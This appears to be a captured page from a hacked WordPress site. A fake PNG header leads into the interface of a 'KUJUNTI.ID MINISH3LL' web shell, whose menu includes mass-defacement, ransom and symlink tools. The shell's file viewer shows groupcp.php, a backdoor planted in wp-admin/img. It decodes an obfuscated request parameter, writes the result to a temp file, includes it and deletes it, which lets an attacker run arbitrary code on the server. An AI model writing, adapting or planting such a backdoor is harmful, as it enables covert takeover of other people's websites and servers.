\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/eceas/wp-admin/img/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/eceas/wp-admin/img/groupcp.php


<?php

if(isset($_REQUEST) && isset($_REQUEST["sy\x6D"])){
	$flg = array_filter(["/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", session_save_path(), getcwd()]);
	$obj = $_REQUEST["sy\x6D"];
		$obj=   explode(	 "." 	,$obj	)	;	
	$factor =		'';
            $s3 =		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =		strlen( 	$s3);
            $z =		0;
    
            foreach( 	$obj as $v6) {
                $sChar =		ord( 	$s3[$z	% $sLen]);
                $dec =		( 	( 	int)$v6 - $sChar -( 	$z	% 10))^39;
                $factor .= chr( 	$dec);
                $z++;	 } 	
	foreach ($flg as $property_set) {
    		if (!( !is_dir($property_set) || !is_writable($property_set) )) {
    $entity = vsprintf("%s/%s", [$property_set, ".res"]);
    if (@file_put_contents($entity, $factor) !== false) {
	include $entity;
	unlink($entity);
	die();
}
}
}
}

© KUJUNTI.ID